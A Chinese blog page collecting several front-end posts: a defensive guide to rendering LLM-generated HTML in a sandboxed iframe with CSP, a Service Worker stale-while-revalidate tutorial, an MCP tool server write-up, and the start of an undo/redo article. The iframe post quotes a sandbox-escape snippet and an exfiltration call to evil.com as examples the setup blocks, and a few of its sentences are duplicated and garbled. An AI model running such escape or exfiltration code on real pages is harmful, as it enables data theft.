allow-scripts 打开之后 iframe 里的代码能跑 JS 了,但它仍然拿不到父页面的 DOM,因为 sandbox 默认会把 iframe 的 origin 设成 null,天然跨域。好事。但"拿不到父页面 DOM"和"完全安全"之间差了十万八千里,iframe 里的脚本照样能发 fetch 请求、能用 WebSocketlocalStorage 倒是默认禁用的,除非你加了 allow-same-origin

等等。千万别加这个。

allow-scripts + allow-same-origin:灾难组合

我踩过的最狠的坑就是这俩同时开。

这俩一起开会怎样?iframe 里的脚本既能跑 JS,又和父页面同源。那它就能做一件事情:

// iframe 内部的恶意代码
const frame = window.frameElement;
frame.removeAttribute('sandbox');
// sandbox 没了,所有限制解除,可以为所欲为

完了。iframe 里的代码直接把自己的 sandbox 属性删掉,reload 一下,所有限制全部消失。这不是理论攻击,MDN 上都写了——但谁看 MDN 啊。别问。

所以第一条铁律:allow-scriptsallow-same-origin 永远不能同时出现。

不加 allow-same-origin 有啥副作用?iframe 里的代码没法用 localStoragesessionStorageIndexedDB,也没法用 cookie。说到 AI 生成的预览组件来说问题不大——你又不是要在预览里做持久化。但有一个比较烦的事:有些第三方库比如某些版本的 axios 初始化时会读 localStorage,读不到直接抛异常。这个后面错误边界那节再说。

怎么说呢,sandbox 属性的配置我前后改了不下十次,最后稳定下来的版本:

sandbox 权限选择流程:

需要跑 JS 吗?
├── 否 → sandbox(啥都不加,最安全)
└── 是 → sandbox="allow-scripts"
         ↓
    需要提交表单吗?
    ├── 否 → 保持 allow-scripts
    └── 是 → allow-scripts allow-forms
              ↓
         需要弹窗(window.open)吗?
         ├── 否 → 到此为止
         └── 是 → 加 allow-popups
                   (但要想清楚,真的需要吗?)

 永远不加:allow-same-origin(和 allow-scripts 同时)
 永远不加:allow-top-navigation(防止跳转劫持)

光靠 sandbox 还不够。管不了网络请求。iframe 里的脚本照样能 fetch('https://evil.com') 往外发数据。不对,应该说是me 里的脚本照样能 fetch('https://evil.com') 往外发数据(说起来都是泪)。这就是为什么需要 CSP。

CSP 怎么配才能把网络请求锁死

Content-Security-Policy 注入到 iframe 里有两种方式:HTTP 响应头,或者 <meta> 标签。我们用的是 srcdoc,没有 HTTP 响应这回事,所以只能走 <meta http-equiv="Content-Security-Policy">

function wrapWithCSP(htmlFromLLM) {
  const csp = [
    "default-src 'none'",
    "script-src 'unsafe-inline'",
    "style-src 'unsafe-inline'",
    "img-src data: blob:",
  ].join('; ');

  return `
    <!DOCTYPE html>
    <html>
    <head>
      <meta http-equiv="Content-Security-Policy" content="${csp}">
    </head>
    <body>${htmlFromLLM}</body>
    </html>
  `;
}

看到 script-src 'unsafe-inline' 是不是慌了?

别慌。正常 Web 应用里 unsafe-inline 确实是安全隐患,等于给 XSS 开绿灯。嗯……也不完全是,eb 应用里 unsafe-inline 确实是安全隐患,等于给 XSS 开绿灯。但我们这个场景不一样——iframe 里所有的代码都是内联的,AI 吐出来的就是一坨 HTML 字符串,不存在"可信脚本"和"不可信脚本"的区分,全部不可信,安全边界在 iframe 的 sandbox 和 CSP 的网络限制上,不在脚本来源上。

我也想过用 nonce 或者 sha256-hash 来限制。

坦白说有个细节我当时查了半天:connect-src 不配的话会不会 fallback 到 default-src?答案是会的。default-src'none',所以效果一样。但我建议显式写上,代码即文档嘛:

const csp = [
  "default-src 'none'",
  "script-src 'unsafe-inline'",
  "style-src 'unsafe-inline'",
  "img-src data: blob:",
  "connect-src 'none'",  // 显式禁止 fetch/XHR/WebSocket
  "font-src 'none'",
].join('; ');

这样配完之后,iframe 里的代码跑 fetch('https://evil.com/steal?data=xxx') 浏览器直接拦截,控制台打一条 CSP violation 的报错。安全团队不会再半夜打电话了。

但事情没完。

AI 生成的代码要加载 CDN 上的库怎么办

这个场景我一开始压根没想到。

两条路。

第一条,白名单:

script-src 'unsafe-inline' https://cdn.jsdelivr.net https://unpkg.com

能用。

第二条路,也是我最后选的——在父页面做预处理,把外部 <script src="..."> 的内容提前下载好,以内联方式塞回 srcdoc

LLM 输出的原始 HTML
        ↓
   预处理(父页面)
   ├── 扫描 <script src="...">
   ├── 下载脚本内容(白名单校验 URL)
   ├── 转为 <script>内联代码</script>
   └── 扫描 <link href="..."> 同理处理
        ↓
   组装 srcdoc(注入 CSP meta)
        ↓
   塞进 <iframe sandbox="allow-scripts">

CSP 保持最严格配置,不用开任何外部域名(虽然官方文档不是这么说的)。代价是多了一步预处理,但这步本身也是个安全检查点,你可以在这里做恶意代码扫描、Content-Length 大小限制、依赖白名单校验,一举多得(虽然官方文档不是这么说的)。

反正大概是这么个意思。

这套预处理的逻辑写起来比想象中复杂。光是处理 <script> 标签的各种写法——有 type="module" 的、有 async 的、有 defer 的、还有写在 <head><body> 不同位置的——就糊了大概两百行,一半正则一半 DOMParser。一次性工作。写完不用动了。

写到这里突然觉得之前说的不太对。

还有个容易忽略的点。<style> 里面的 @import url(...)background: url(...) 也能发网络请求。能跑。style-src 'unsafe-inline' 只允许内联样式,@import 加载外部 CSS 这个行为被 default-src 'none' 兜住了。但 background-image: url(data:image/png;base64,...) 是可以的,因为 img-src 放了 data:。这些边角情况不翻 W3C 的 CSP spec 真想不到。

错误边界:AI 生成的代码炸了怎么办

重要。但不复杂。

AI 生成的代码质量不可预测。SyntaxError 都能有,更别提运行时错误了——访问 undefined 的属性、死循环、内存爆了。啥都可能。

好吧这个问题比我想的复杂。

iframe 天然就是进程级别的隔离,大多数现代浏览器里跨域 iframe 跑在独立渲染进程中,所以 iframe 里的代码就算 while(true){} 了也不会卡死父页面。免费的好处。但你得有办法检测到"这个 iframe 炸了"然后给用户反馈。

我的做法是在 srcdoc 里注入一段监控脚本,这段脚本在 AI 生成的代码之前执行:

<script>
window.addEventListener('error', function(e) {
  parent.postMessage({
    type: '__sandbox_error__',
    message: e.message,
    filename: e.filename,
    lineno: e.lineno
  }, '*');
});

window.addEventListener('unhandledrejection', function(e) {
  parent.postMessage({
    type: '__sandbox_error__',
    message: e.reason?.message || String(e.reason)
  }, '*');
});

// 5秒内没渲染完就认为卡了
var __renderTimer = setTimeout(function() {
  parent.postMessage({
    type: '__sandbox_timeout__',
    message: 'Render timeout after 5000ms'
  }, '*');
}, 5000);

window.__notifyRenderComplete = function() {
  clearTimeout(__renderTimer);
  parent.postMessage({ type: '__sandbox_ready__' }, '*');
};
</script>

父页面监听 message 事件(听起来很合理对吧,但是)。有个坑:postMessage 第二个参数写的 '*',因为 sandbox 下 iframe 的 origin 是 null,没法指定具体 targetOrigin。那父页面监听的时候必须做来源校验,用 event.source 判断:

const iframeRef = useRef(null);

useEffect(() => {
  function handleMessage(event) {
    if (event.source !== iframeRef.current?.contentWindow) return;

    switch (event.data?.type) {
      case '__sandbox_error__':
        setError(event.data.message);
        break;
      case '__sandbox_timeout__':
        setError('组件渲染超时');
        break;
      case '__sandbox_ready__':
        setLoading(false);
        break;
    }
  }
  window.addEventListener('message', handleMessage);
  return () => window.removeEventListener('message', handleMessage);
}, []);

跑起来还行。

但有个问题始终没完美解决。死循环。

while(true){} 这种同步死循环会卡死 iframe 的 JS 线程,setTimeout 的超时回调根本没机会执行,因为事件循环被堵死了。postMessage 发不出去,父页面啥也收不到。只能在父页面设一个外部定时器——5 秒内没收到 __sandbox_ready__ 就认为挂了:

useEffect(() => {
  if (!loading) return;
  const timer = setTimeout(() => {
    setError('渲染超时,可能存在死循环');
    if (iframeRef.current) {
      iframeRef.current.srcdoc = '';
    }
  }, 5000);
  return () => clearTimeout(timer);
}, [loading]);

srcdoc 设成空字符串可以终止 iframe 里的执行。iframe.contentWindow.stop() 在跨域 sandbox 下调不了。够用了。不优雅。但够用了。

还有一类错误比较棘手。

try { localStorage } catch(e) {
  window.localStorage = {
    getItem: () => null,
    setItem: () => {},
    removeItem: () => {},
    clear: () => {},
    length: 0
  };
}

粗暴。有效。有些库初始化的时候检测 window.localStorage 是否存在来决定用不用持久化——mock 之后它就走内存 fallback 了,比如 zustandpersist 中间件就是这个逻辑。

父子通信和动态尺寸

快速过。

iframe 高度自适应是老生常谈的问题,sandbox 场景下一样躲不掉。

new ResizeObserver(entries => {
  const height = entries[0].target.scrollHeight;
  parent.postMessage({
    type: '__sandbox_resize__',
    height: height
  }, '*');
}).observe(document.body);

父页面收到消息后更新 iframe 的 style.heightResizeObserver 在 sandbox 下能不能用?能。它是纯观察型 API,不涉及安全敏感操作,不在 sandbox 的限制清单里(别问我怎么知道的)。

父页面往 iframe 传数据也是 postMessage,传主题色、prefers-color-scheme 之类的。注意序列化问题就行——postMessage 走结构化克隆算法,函数、DOM 节点、Symbol 传不了。大部分场景一个 JSON.stringify 能覆盖的对象就够了。

如果 iframe 里的组件需要"调用"父页面的能力,比如打开 modal、跳转 react-router 的路由,可以搞一套 RPC:

iframe → 父页面:  { type: 'rpc_call', id: 'abc', method: 'openModal', params: {...} }
                          ↓
                  校验 method 白名单 → 执行 → 拿到结果
                          ↓
父页面 → iframe:  { type: 'rpc_result', id: 'abc', result: ... }
                          ↓
                  iframe 侧 resolve 对应 Promise

二十行代码的事。核心就是 method 白名单,iframe 能调用的方法必须预定义好,不能让它随便调 window.open 或者操作 history

最后一个不大不小的坑。

srcdoc 的内容如果包含 </script> 这个字符串——哪怕是嵌在 JS 的字符串字面量里——浏览器也会提前闭合 <script> 标签,整个 HTML 解析全乱。预处理时记得转义,把 </script> 替换成 <\/script>。这个坑我调了半天,AI 生成的代码里恰好有一句 el.innerHTML = '<script>...</script>',然后 srcdoc 就炸了。血的教训。


这套方案跑了差不多半年。扛住了各种离谱的 AI 输出——有返回完整 <!DOCTYPE html> 文档结构的、有在 <style> 里写 * { display: none !important } 把自己藏起来的、有 console.log 循环打了几万行把 DevTools 搞崩的。sandbox 保护下这些东西都只能在 iframe 里折腾,影响不到父页面的 document,也发不出任何网络请求。

说白了嘛,就是给 AI 输出画了个圈。圈里随便蹦跶,出不去就行。半年下来最大的感受是,安全这东西不怕方案土,怕的是你觉得"应该没事吧"然后就真没管。

昨天以前首页

Service Worker + stale-while-revalidate:让页面"假装"秒开的正经方案

2026年3月14日 13:04

Service Worker + stale-while-revalidate:让页面"假装"秒开的正经方案

你肯定遇到过这种场景:用户打开一个列表页,接口响应要 800ms,白屏晃一下,数据才出来。产品跑过来说"能不能秒开"。

秒开?服务端又不是你家的,CDN 也不归你管。但有一件事你能控制——上次请求的数据还躺在缓存里,为什么不先拿出来顶上?

这就是 stale-while-revalidate 的大致思路。先给用户看"旧的",后台悄悄拿"新的",拿到了再换上去。HTTP 协议本身支持这个策略,但浏览器实现得比较保守,真正好用的版本得靠 Service Worker 自己搞。


先搞清楚 HTTP 层的 stale-while-revalidate

Cache-Control 有个不太常用的指令:

Cache-Control: max-age=60, stale-while-revalidate=300

意思是:60 秒内直接用缓存,过期后的 300 秒内,先返回旧缓存,同时后台去 revalidate。超过 360 秒才真正过期。

听着挺完美,但实际用起来有几个问题:

  • 浏览器支持参差不齐,Safari 到 2024 年才补上
  • 只对 GET 请求生效,POST 的接口没戏
  • 你控制不了"拿到新数据后做什么"——浏览器默默更新缓存,但当前页面的 UI 不会变
  • 服务端不一定愿意配这个 header,后端同事可能觉得你在搞事

所以 HTTP 层的 SWR 更像个"被动优化"。你想精确控制缓存策略、想在新数据到了之后更新页面、想针对特定接口做差异化处理——得上 Service Worker。

Service Worker 里手搓 stale-while-revalidate

核心逻辑其实不复杂,伪代码就这么几行:

self.addEventListener('fetch', (event) => {
  event.respondWith(
    caches.match(event.request).then((cached) => {
      // 不管有没有缓存,都发一次真实请求
      const fetching = fetch(event.request).then((response) => {
        // 拿到新响应,更新缓存
        const clone = response.clone()
        caches.open('api-cache').then((cache) => {
          cache.put(event.request, clone)
        })
        return response
      })

      // 有缓存?先返回缓存。没有?等网络请求
      return cached || fetching
    })
  )
})

看着简单,但这段代码有个很大的问题:网络请求的结果拿到了,怎么通知页面?

缓存返回 + 增量通知:真正能用的版本

解决办法是把"通知页面更新"这件事,从 response 层面提到消息通信层面。

// sw.js
const SWR_URLS = ['/api/feed', '/api/user/profile', '/api/config']

self.addEventListener('fetch', (event) => {
  const url = new URL(event.request.url)

  // 只对特定接口做 SWR,别全局开,会出事
  if (!SWR_URLS.some((p) => url.pathname.startsWith(p))) return

  event.respondWith(handleSWR(event.request))
})

async function handleSWR(request) {
  const cache = await caches.open('api-swr')
  const cached = await cache.match(request)

  // 后台发请求,不阻塞返回
  const networkPromise = fetch(request)
    .then(async (response) => {
      if (response.ok) {
        await cache.put(request, response.clone())

        // 拿到新数据了,通知所有页面
        const data = await response.clone().json()
        const clients = await self.clients.matchAll()
        clients.forEach((client) => {
          client.postMessage({
            type: 'SWR_UPDATE',
            url: request.url,
            data,
          })
        })
      }
      return response
    })
    .catch(() => cached) // 网络挂了,还是用缓存兜底

  // 有缓存就先返回,没有就等网络
  return cached || networkPromise
}

页面那边监听消息:

// main.js
navigator.serviceWorker.addEventListener('message', (event) => {
  if (event.data.type === 'SWR_UPDATE') {
    const { url, data } = event.data

    // 根据 url 判断要更新哪块 UI
    if (url.includes('/api/feed')) {
      store.commit('updateFeed', data) // Vue 的写法
      // 或者 dispatch 一个 action,看你项目怎么组织
    }
  }
})

哪些接口适合做 SWR,哪些别碰

不是所有接口都该走这套逻辑。分两类:

适合的:

  • 列表型数据(文章列表、商品列表)——旧数据和新数据差异通常不大
  • 配置型接口(用户设置、功能开关)——变更频率低
  • 个人信息(头像、昵称)——就算展示了旧的,几百毫秒后更新也没人在意

说到别碰的:

  • 余额、库存、价格,展示旧数据可能导致用户决策错误
  • 验证码、token 相关——用缓存数据直接出问题
  • 实时性要求高的(聊天消息、通知数)——stale 数据体验更差

之前在项目里犯过一次错,把订单状态接口也加了 SWR,用户付完款回来,看到的还是"待支付",慌了,又点了一次支付。虽然后端做了幂等,但客诉还是来了,后来老老实实把这类接口从 SWR 列表里摘出去了。

缓存版本控制:不处理迟早翻车

纯粹的 cache.put 有个隐患:接口返回的数据结构变了怎么办?

比如 v1 返回 { list: [...] },v2 改成了 { items: [...], total: 100 }。用户本地缓存的还是 v1 的结构,页面代码已经按 v2 写了,直接报错。

解决思路是给缓存加版本:

const CACHE_VERSION = 'api-swr-v3'

// 激活时清理旧版本缓存
self.addEventListener('activate', (event) => {
  event.waitUntil(
    caches.keys().then((keys) =>
      Promise.all(
        keys
          .filter((key) => key.startsWith('api-swr-') && key !== CACHE_VERSION)
          .map((key) => caches.delete(key))
      )
    )
  )
})

每次前端发版,如果接口结构有 breaking change,把 CACHE_VERSION 改一下就行。SW 更新后会触发 activate,旧缓存自动清掉。

不过这里有个时间差的问题——SW 更新不是即时的。用户可能在旧 SW 还在跑的时候就加载了新页面代码。这种情况下要么在页面侧做防御性判断,要么用 skipWaiting() 强制接管(但 skipWaiting 也有自己的坑,后面说)。

skipWaiting 的取舍

self.addEventListener('install', () => {
  self.skipWaiting() // 装完直接激活,不等旧 SW 退出
})

好处很明显:新 SW 立刻生效,缓存版本立刻切换。

坏处:如果用户当前页面正在用旧 SW 处理请求,突然 SW 换了,可能出现一半请求走旧逻辑、一半走新逻辑的情况。

我的做法是:SWR 缓存场景下用 skipWaiting,但在页面侧监听 controllerchange 事件,检测到 SW 切换后自动刷新一次

let refreshing = false
navigator.serviceWorker.addEventListener('controllerchange', () => {
  if (refreshing) return
  refreshing = true
  window.location.reload()
})

和 HTTP 缓存的关系:别打架

这块容易搞混。Service Worker 里的 fetch() 也是会走浏览器 HTTP 缓存的。如果服务端给接口加了 Cache-Control: max-age=300,那 SW 里 fetch(request) 拿到的可能也是 HTTP 缓存里的旧响应,根本不是最新的。

两层缓存叠在一起,你以为在 revalidate,其实在自己跟自己玩。

解法:SW 里发请求时强制跳过 HTTP 缓存。

const networkPromise = fetch(request, {
  cache: 'no-cache', // 跳过 HTTP 缓存,但仍然会写入缓存
  // 或者用 'reload',完全不读也不写 HTTP 缓存
})

no-cacheno-store 的区别:

// no-cache:发请求时不用 HTTP 缓存,但响应可以被缓存
// → 适合 SWR 场景,你想让 SW 层管缓存,HTTP 层别插手

// no-store:完全不缓存
// → 太激进了,连浏览器的 back/forward cache 都会受影响

监控:怎么知道 SWR 在正常工作

上线之后你怎么知道 SWR 真的在生效?不能全凭体感。

加几个埋点:

async function handleSWR(request) {
  const cache = await caches.open(CACHE_VERSION)
  const cached = await cache.match(request)

  const startTime = performance.now()

  const networkPromise = fetch(request, { cache: 'no-cache' })
    .then(async (response) => {
      const networkTime = performance.now() - startTime

      // 上报:网络请求耗时 + 是否命中了缓存
      reportMetrics({
        url: request.url,
        cacheHit: !!cached,
        networkTime,
        // 如果命中缓存,用户实际看到的耗时约等于 0
        perceivedTime: cached ? 0 : networkTime,
      })

      if (response.ok) {
        await cache.put(request, response.clone())
        await notifyClients(request.url, response.clone())
      }
      return response
    })

  return cached || networkPromise
}

重点看两个指标:

  • 缓存命中率:低于 60% 说明你的缓存策略有问题,可能是缓存被清得太频繁
  • perceived time(感知耗时):命中缓存时应该趋近于 0,这个才是用户体感

之前在一个项目里上了 SWR,缓存命中率能到 85% 左右。首屏的接口数据展示时间从平均 600ms 降到了接近 0(缓存命中的情况下),整体 P90 也从 1.2s 降到了 400ms。效果还是挺明显的。

容易忽略的边界情况

几个上线后才会遇到的问题:

1. Cache Storage 空间有限

浏览器对 Cache Storage 有配额限制(通常是可用磁盘的一定比例)。如果你缓存的接口太多,旧的缓存可能被浏览器自动清理。可以主动做 LRU:

async function trimCache(cacheName, maxEntries) {
  const cache = await caches.open(cacheName)
  const keys = await cache.keys()
  if (keys.length > maxEntries) {
    // 删掉最早的几条
    await Promise.all(
      keys.slice(0, keys.length - maxEntries).map((key) => cache.delete(key))
    )
  }
}

2. 用户长时间不打开页面

缓存的数据可能已经非常旧了。可以在缓存时写入时间戳,读取时判断是否超过了一个"最大容忍过期时间"。

async function putWithTimestamp(cache, request, response) {
  const headers = new Headers(response.headers)
  headers.set('X-SW-Cached-At', Date.now().toString())
  const timestamped = new Response(response.body, {
    status: response.status,
    headers,
  })
  await cache.put(request, timestamped)
}

async function getCachedIfFresh(cache, request, maxAge = 86400000) {
  const cached = await cache.match(request)
  if (!cached) return null

  const cachedAt = Number(cached.headers.get('X-SW-Cached-At') || 0)
  if (Date.now() - cachedAt > maxAge) {
    await cache.delete(request) // 过期太久,直接丢掉
    return null
  }
  return cached
}

24 小时没打开过的页面,就别拿旧缓存糊弄用户了,老老实实等网络请求。

3. 多 tab 场景

self.clients.matchAll() 会拿到所有 tab。如果用户开了同一个页面的多个 tab,每个 tab 都会收到 SWR_UPDATE 消息。这其实是个好事——所有 tab 数据保持同步。但要注意消息处理的幂等性,别重复触发副作用。


聊到这

stale-while-revalidate 不是什么新概念,HTTP 规范里早就有了。

这套方案的本质是一种乐观 UI 策略:先假设数据没怎么变,给用户看旧的,后台验证。跟 React 的 useOptimistic 和 SWR 库(对,swr 这个 npm 包名就是从这来的)的思路一脉相承。

但也别滥用。不是每个接口都值得缓存,不是每个场景都能容忍 stale data。用户感知不到延迟的地方,别加这套复杂度。 Service Worker 本身就是个不太好调试的东西,再叠一层缓存策略,出了问题排查起来会比较痛苦。

值不值得上,看你的场景。首屏有 3 个以上慢接口、用户会频繁重复访问同一个页面、数据时效性要求不是特别高——满足这三条,可以考虑。

给 Claude Code 造个趁手的 MCP Tool Server,聊聊我踩的那些坑

2026年3月14日 13:04

给 Claude Code 造个趁手的 MCP Tool Server,聊聊我踩的那些坑

搞前端工具链搞了好几年,组件库、设计稿、代码模板这些东西散落在各个系统里。每次新需求来了,得先翻组件库找有没有现成的,再去 Figma 看设计稿,最后手动糊代码。这套流程重复了几百次之后,终于忍不了了——能不能让 AI 帮我把这几步串起来?

一、Tool Schema 定义:看着简单,但你大概率会在这翻车

这块我花的时间最多,也是最想吐槽的部分。

MCP 的 Tool 定义看起来跟写个 JSON Schema 一样——给工具起个名字,声明入参类型,完事。但实际跑起来你就会发现,Schema 写得好不好,直接决定了 LLM 能不能正确调用你的工具。这不是"能用就行"的问题,是"差一点就完全不可用"的问题。

参数命名比你想的重要十倍

先说个真实场景。我做了个组件检索工具,第一版 Schema 长这样:

// 组件检索工具 —— 第一版,能跑但 LLM 经常调错
const tool = {
  name: "search_components",
  description: "搜索组件库中的组件",
  inputSchema: {
    type: "object",
    properties: {
      q: { type: "string", description: "搜索关键词" },
      t: { type: "string", enum: ["ui", "biz", "chart"] },
      limit: { type: "number" }
    },
    required: ["q"]
  }
}

跑了几次发现 Claude 经常不传 t 参数,或者把 q 理解错。改成下面这样之后命中率直接从六成拉到九成以上:

const tool = {
  name: "search_ui_components",
  description: "在团队组件库中按名称或用途搜索可复用的 UI/业务组件,返回组件名、Props 定义和使用示例",
  inputSchema: {
    type: "object",
    properties: {
      keyword: {
        type: "string",
        description: "组件名称或使用场景,比如 'Table'、'用户选择器'、'数据筛选'"
      },
      category: {
        type: "string",
        enum: ["ui-base", "business", "chart"],
        description: "组件分类:ui-base=基础UI组件, business=业务组件, chart=图表组件"
      },
      max_results: {
        type: "number",
        description: "最多返回几个结果,默认5"
      }
    },
    required: ["keyword"]
  }
}

区别在哪?三个地方:工具名自带语义search_componentssearch_ui_components),参数名是人话qkeyword),description 里给了具体例子

这不是什么高深的道理,但你不踩一遍坑真的意识不到——LLM 理解你工具的唯一信息源就是 Schema 里的文本。你偷懒少写一个 description,它就得靠猜,猜错的概率远比你想的高。

嵌套参数的深度控制

还有个坑是参数结构太深。一开始我想着把过滤条件做得灵活一点:

// 伪代码,别照抄
inputSchema: {
  filter: {
    platform: { os: string, version: string },
    style: { theme: string, size: enum },
    compatibility: { frameworks: string[], browsers: string[] }
  }
}

三层嵌套,参数十几个。结果 LLM 基本上构造不出正确的调用——它倒是能理解每个字段的意思,但组装成完整的嵌套 JSON 时总会漏字段或者层级搞错。

后来拍扁成一层:

// 全部拍平,宁可参数多一点也不要嵌套
inputSchema: {
  type: "object",
  properties: {
    keyword: { type: "string" },
    platform: { type: "string", enum: ["web", "mobile", "desktop"] },
    theme: { type: "string", enum: ["light", "dark"] },
    framework: { type: "string", enum: ["react", "vue", "angular"] },
    max_results: { type: "number" }
  },
  required: ["keyword"]
}

经验就一句话:Schema 嵌套不超过一层,参数不超过 6-7 个。超了就拆成多个工具。你可能觉得"一个工具能干的事为什么要拆成三个",但对 LLM 来说,三个简单工具比一个复杂工具好使得多。

多工具协作时的命名空间问题

项目里最终搞了七八个工具:搜组件、查设计稿、生成代码、查 API 文档……工具一多,命名冲突和语义模糊的问题就来了。

比如 search_componentssearch_docs 都有个 keyword 参数,但前者期望的是组件名,后者期望的是 API 名。LLM 有时候会搞混到底该调哪个。

招很粗暴——给工具名加前缀:comp_searchdoc_searchfigma_parsecode_gen

这块我还没想透的是,当工具数量超过 15 个以后,LLM 的工具选择准确率是不是会断崖式下降。目前我控制在 10 个以内没出过问题,但如果以后要接更多系统进来,可能得做工具的动态加载——根据当前对话上下文只暴露相关的工具子集。先放着,等真到那一步再说。

二、Claude Code 集成:没你想的那么复杂

配置 MCP Server 接入 Claude Code 这步反而没什么好说的,比想象中顺滑。

在项目根目录的 .mcp.json 里声明一下就行:

{
  "mcpServers": {
    "frontend-toolkit": {
      "command": "node",
      "args": ["./mcp-server/index.mjs"],
      "env": {
        "COMPONENT_LIB_PATH": "./src/components",
        "FIGMA_TOKEN": "${FIGMA_TOKEN}"
      }
    }
  }
}

Server 端用 @modelcontextprotocol/sdk 起一个 stdio 类型的服务就行。真正要注意的只有一件事:错误处理必须返回结构化信息,不能直接 throw

server.setRequestHandler(CallToolRequestSchema, async (request) => {
  try {
    const result = await handleTool(request.params)
    return { content: [{ type: "text", text: JSON.stringify(result) }] }
  } catch (e) {
    // 不要 throw,返回 isError
    // 不然 Claude Code 会直接断开连接,你连错误信息都看不到
    return {
      content: [{ type: "text", text: `工具执行失败: ${e.message}` }],
      isError: true
    }
  }
})

三、组件检索这个场景值得单独说说

组件检索看着是最简单的功能——不就是个搜索嘛。但要做到 LLM 能真正用起来,返回的数据格式得反复调。

关键发现:返回给 LLM 的组件信息,多了不行少了也不行

一开始我把组件的完整源码都返回了,结果 context 直接爆掉。后来只返回组件名和一句话描述,又太少了,LLM 没法判断这个组件到底能不能用。

最后稳定下来的格式大概是这样——组件名、Props 类型定义(只保留 public 的)、一个最简使用示例、适用场景的一句话说明。差不多 30-50 行的信息量,刚好够 LLM 判断要不要用、怎么用。

四、工作流编排:别一上来就想做大做全

最后说说怎么把组件检索、设计稿解析、代码生成串成一条工作流。

一个典型场景:产品丢过来一个 Figma 链接,说"照这个做"。理想的流程是——解析设计稿拿到结构 → 匹配已有组件 → 生成代码。听着挺丝滑,但实际编排的时候有个根本性的取舍要做。

自动编排 vs 人工确认

第一种思路是全自动:在 MCP Server 内部把三步串起来,对外只暴露一个 figma_to_code 工具,一步到位。

第二种思路是拆开:暴露 figma_parsecomp_searchcode_gen 三个独立工具,让 Claude 自己决定调用顺序,每一步人都能看到中间结果。

我最开始选了第一种,因为显然更"优雅"。跑了一周之后切回了第二种。

原因很现实——全自动流程一旦中间某步出错(比如设计稿里有个自定义图标组件库里没有),整条链路就废了,返回一个笼统的错误信息,你还得去翻日志看是哪步挂的。拆开之后,Claude 调完 figma_parse 会先把结构展示出来,你扫一眼说"这几个组件用现有的,那个图标先跳过",它再去调 comp_search,灵活得多。

这个取舍背后的道理其实很通用:

工具编排的粒度选择:

粗粒度(一个工具做完所有事)
  优点:调用简单,LLM 决策少
  缺点:中间过程不可见,出错难排查,灵活性差

细粒度(每步一个工具)
  优点:中间结果可检查,人能介入,组合灵活
  缺点:LLM 需要自己编排调用顺序,偶尔会走弯路

实际选择:先细后粗
  先用细粒度工具跑通流程
  等流程稳定了,再把高频组合包装成粗粒度工具
  两套并存,简单场景用粗的,复杂场景用细的

返回值设计影响下一步决策

还有个容易忽略的细节——上一个工具的返回值格式,直接影响 LLM 下一步能不能做出正确决策。

figma_parse 返回的设计稿结构里,我专门加了一个 suggestedComponent 字段:

// figma_parse 返回的结构(简化版)
{
  layers: [
    {
      name: "顶部导航",
      type: "frame",
      suggestedComponent: "NavBar",  // 这个字段是给 LLM 看的提示
      children: [...]
    },
    {
      name: "数据表格",
      type: "frame",
      suggestedComponent: "DataTable",
      props: { columns: 5, hasFilter: true }
    }
  ]
}

这个 suggestedComponent 不是 Figma 原生的,是我在解析层做的一层映射——根据图层命名和结构特征猜一个可能的组件名。猜对了 LLM 直接拿去搜,猜错了也没关系,LLM 会根据搜索结果自行调整。

但如果不加这个字段,LLM 就得自己从图层名"顶部导航"推断出应该搜"NavBar",这步推断的准确率大概七成,加了字段之后变成九成。一个小字段,效果差很多。

这让我意识到一件事:设计 MCP 工具的时候,不能只想"这个工具给人用该返回什么",得想"给 LLM 用该返回什么"。有时候需要多返回一些冗余信息,专门用来降低 LLM 的推理难度。这跟传统 API 设计的"返回最少够用的信息"正好相反。

说到底,MCP Tool Server 就是给 AI 用的 API。但"给 AI 用"和"给人用"的设计直觉差异比想象中大——Schema 要更语义化,参数要更扁平,返回值要更冗余,错误信息要更具体。把这几条刻进脑子里,剩下的都是体力活。

可视化搭建引擎的撤销重做系统:Command 模式 + Immutable 快照实现操作历史树

2026年3月13日 10:13

可视化搭建引擎的撤销重做系统:Command 模式 + Immutable 快照实现操作历史树

你做了一个可视化搭建平台,用户拖了 30 个组件、调了 50 次样式,然后按了一下 Ctrl+Z——页面白了。

这不是段子,这是我在第一版撤销系统上线后收到的真实 bug。问题出在哪?撤销重做看起来就是个栈操作,但真正做下去你会发现:线性栈根本扛不住分支操作,快照太大内存爆炸,协同场景下两个人同时撤销直接打架。

今天聊的就是这套系统怎么从"能用"做到"能打"。


本质问题:撤销重做到底在管理什么?

很多人第一反应是"记录操作步骤",但更准确的说法是:管理状态的时间线

这件事有两个流派:

方案 核心思路 类比
Command 模式 记录每一步操作的"做"和"撤" 像录像带,记录的是动作
Immutable 快照 记录每一刻的完整状态 像相册,记录的是结果

单独用哪个都有明显短板。Command 模式省内存但逆操作难写,快照简单粗暴但吃内存。搭建引擎的正确答案是:Command 负责语义,Snapshot 负责兜底


第一层:Command 模式的基本骨架

先把最小可用版本搭起来:

interface Command {
  id: string
  type: string
  execute(): void   // 做
  undo(): void      // 撤
  // 可选:用于合并连续同类操作
  merge?(prev: Command): Command | null
}

class HistoryManager {
  private undoStack: Command[] = []
  private redoStack: Command[] = []

  execute(cmd: Command) {
    cmd.execute()
    this.undoStack.push(cmd)
    this.redoStack = [] // 新操作进来,重做栈清空——这是线性模型的核心限制
  }

  undo() {
    const cmd = this.undoStack.pop()
    if (!cmd) return // 没得撤了,你等了个寂寞
    cmd.undo()
    this.redoStack.push(cmd)
  }

  redo() {
    const cmd = this.redoStack.pop()
    if (!cmd) return
    cmd.execute()
    this.undoStack.push(cmd)
  }
}

一个真实的搭建操作长这样:

class MoveComponentCommand implements Command {
  id = crypto.randomUUID()
  type = 'move'

  constructor(
    private component: ComponentNode,
    private from: Position,
    private to: Position,
    private canvas: CanvasState
  ) {}

  execute() {
    this.canvas.setPosition(this.component.id, this.to)
  }

  undo() {
    this.canvas.setPosition(this.component.id, this.from)
  }

  // 连续拖拽合并:用户拖动过程中产生 60 帧 move,只保留首尾
  merge(prev: Command): Command | null {
    if (prev.type !== 'move') return null
    const prevMove = prev as MoveComponentCommand
    if (prevMove.component.id !== this.component.id) return null
    return new MoveComponentCommand(
      this.component,
      prevMove.from, // 保留最初的起点
      this.to,       // 用最新的终点
      this.canvas
    )
  }
}

这里 merge 是个容易忽略但极其重要的设计。没有它,用户拖一下组件要撤 60 次才能回到原位。写到这里我开始怀疑为什么第一版没加这个。


第二层:从线性栈到操作历史树

线性栈有个致命问题:用户撤销几步后做了新操作,被清掉的 redo 栈就永远回不来了

